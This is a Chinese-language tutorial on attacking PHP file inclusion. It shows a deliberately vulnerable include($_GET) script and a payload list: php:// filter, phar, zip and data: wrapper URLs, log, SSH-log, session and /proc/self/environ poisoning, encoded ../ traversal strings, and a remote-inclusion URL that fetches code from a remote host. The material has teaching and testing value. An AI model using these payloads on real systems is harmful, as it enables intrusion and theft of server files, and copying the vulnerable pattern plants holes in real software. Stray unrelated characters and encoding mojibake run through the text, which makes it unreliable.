0x01 文件包含函數(shù)
- include()
- include_once()
- require()
- require_once()
這里include()函數(shù)如果在包含的過(guò)程中發(fā)生錯(cuò)誤嗤无,會(huì)發(fā)出警告,但是會(huì)繼續(xù)執(zhí)行后續(xù)代碼怜庸;
require()函數(shù)如果在包含的過(guò)程中發(fā)生錯(cuò)誤当犯,會(huì)報(bào)錯(cuò)退出,并且不再執(zhí)行之后的代碼割疾。
include_once()和require_once()的功能跟include()和require()類似嚎卫,只不過(guò)前者如果已經(jīng)包含了文件,那么就不會(huì)包含第二次宏榕,以免出現(xiàn)函數(shù)重定義或變量重賦值的問(wèn)題拓诸。
以上四個(gè)函數(shù)不管包含的文件類型是什么,都會(huì)當(dāng)作php文件進(jìn)行解析麻昼,例如
phpinfo.txt
<?php
phpinfo();
lfi.php
<?php
$temp=$_GET['c'];
include($temp);
?>
成功執(zhí)行phpinfo()奠支!
0x02 文件包含分類
1. LFI(本地文件包含)
本地文件包含就是包含服務(wù)器本地的文件。
2. RFI(遠(yuǎn)程文件包含)
遠(yuǎn)程文件包含就是包含遠(yuǎn)程服務(wù)器上的文件抚芦,這樣我們就可以自定義自己想要執(zhí)行的代碼倍谜,因此危害比較大。遠(yuǎn)程文件包含需要一定的條件
php.ini配置
allow_url_fopen=On(默認(rèn)開啟)
allow_url_include=On(默認(rèn)關(guān)閉)
0x03 php偽協(xié)議
假設(shè)服務(wù)器lfi.php內(nèi)容如下
<?php
$temp = $_GET['c'];
include($temp);
?>
使用條件
allow_url_include=On(默認(rèn)關(guān)閉)
allow_url_fopen不做要求(默認(rèn)開啟)
使用條件:無(wú)
··
叉抡?c=php://filter/read=convert.base64-encode/resource=xxx
或者
?c=php://filter/convert.base64-encode/resource=xxx
···
通過(guò)指定resource的值來(lái)讀取文件尔崔,讀取的文件是base64加密后的,讀取到后解一下就好了褥民。
phar://*
使用條件:php版本大于等于5.3.0
假設(shè)需要讀取的文件是phpinfo.txt季春,將其壓縮成zip文件(phpinfo.zip)
然后指定文件的絕對(duì)路徑
?c=phar://C://wamp64/www/phpinfo.zip/phpinfo.txt
或者使用相對(duì)路徑(這里phpinfo.zip就在當(dāng)前路徑)
?c=phar://phpinfo.zip/phpinfo.txt
zip://
使用條件:php版本大于等于5.3.0
zip://與phar://的使用類似,但是需要絕對(duì)路徑消返, zip文件后面要跟%23加zip文件里的文件
?c=zip://C:/wamp64/www/phpinfo.zip%23phpinfo.txt
data:URL schema
使用條件:
php版本大于等于5.2.0
allow_url_include=On(默認(rèn)關(guān)閉)
allow_url_fopen=On(默認(rèn)開啟)
?c=data:text/plain,<?php phpinfo();?>
或者
?c=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
session文件包含
使用條件:session文件路徑已知载弄,并且內(nèi)容部分可控
session文件路徑可以在phpinfo中session.save_path得到
一般情況下session文件都在/tmp目錄下
命名格式:sess_[phpsessid],而phpsessid可以在cookie中得到
要包含并利用的話撵颊,需要能控制部分sesssion文件的內(nèi)容侦锯。暫時(shí)沒(méi)有通用的辦法。有些時(shí)候秦驯,可以先包含進(jìn)session文件尺碰,觀察里面的內(nèi)容,然后根據(jù)里面的字段來(lái)發(fā)現(xiàn)可控的變量,從而利用變量來(lái)寫入payload亲桥,并之后再次包含從而執(zhí)行php代碼洛心。
包含日志文件
使用條件: 需要知道日志文件的目錄,并且日志文件可讀
當(dāng)我們?cè)L問(wèn)服務(wù)器的時(shí)候题篷,訪問(wèn)的請(qǐng)求會(huì)被記錄到access.log词身,當(dāng)發(fā)生錯(cuò)誤的時(shí)候會(huì)把錯(cuò)誤寫入到error.log,一般日志的路徑linux下是/var/logs/apache2番枚,windows下wamp在/wamp/logs
但是如果我們直接請(qǐng)求的話法严,一些特殊字符會(huì)被url編碼從而導(dǎo)致包含后無(wú)法解析
可以用burp抓包后改包即可。
之后就可以包含進(jìn)行利用啦
包含ssh-log
使用條件:ssh日志路徑已知葫笼,并且可讀活合,默認(rèn)情況下在/var/log/auth.log
ssh '<?php phpinfo(); ?>'@remotehost
之后密碼隨便寫
之后包含日志文件就好啦
environ
使用條件:
- php以cgi方式運(yùn)行旧巾,這樣environ才會(huì)保持UA頭。
- environ文件存儲(chǔ)位置已知,且environ文件可讀赋焕。
proc/self/environ中會(huì)保存user-agent頭秸妥。如果在user-agent中插入php代碼豪诲,則php代碼會(huì)被寫入到environ中蒿讥。之后再包含它,即可友绝。
條件競(jìng)爭(zhēng)
0x04 繞過(guò)姿勢(shì)
指定前綴
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
目錄遍歷
可以用../進(jìn)行目錄遍歷堤尾,訪問(wèn)其他目錄的文件
編碼
但有的時(shí)候,服務(wù)器通常會(huì)把../過(guò)濾掉迁客,這個(gè)時(shí)候可以用編碼進(jìn)行繞過(guò)
利用url編碼
%2e%2e%5c
..%5c
%2e%2e
%2e%2e%2f
..%2f
%2e%2e/
../
..\
二次編碼
%252e%252e%255c
%252e%252e%252f
../
..\
容器/服務(wù)器的編碼方式
../
..%c0%af
%c0%ae%c0%ae/
注:Why does Directory traversal attack %C0%AF work?(https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
%c0%ae%c0%ae/
注:java中會(huì)把”%c0%ae”解析為”\uC0AE”哀峻,最后轉(zhuǎn)義為ASCCII字符的”.”(點(diǎn))
Apache Tomcat Directory Traversal
..
..%c1%9c
指定后綴
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
?問(wèn)號(hào)繞過(guò)
index.php?file=http://remoteaddr/remoteinfo.txt?
問(wèn)號(hào)后面的部分/test/test.php,也就是指定的后綴被當(dāng)作query從而被繞過(guò)哲泊。注意需要把#進(jìn)行url編碼為%23剩蟀。
利用zip協(xié)議
可以構(gòu)造跟后綴一樣的路徑,再打包成zip文件切威,然后利用zip協(xié)議包含即可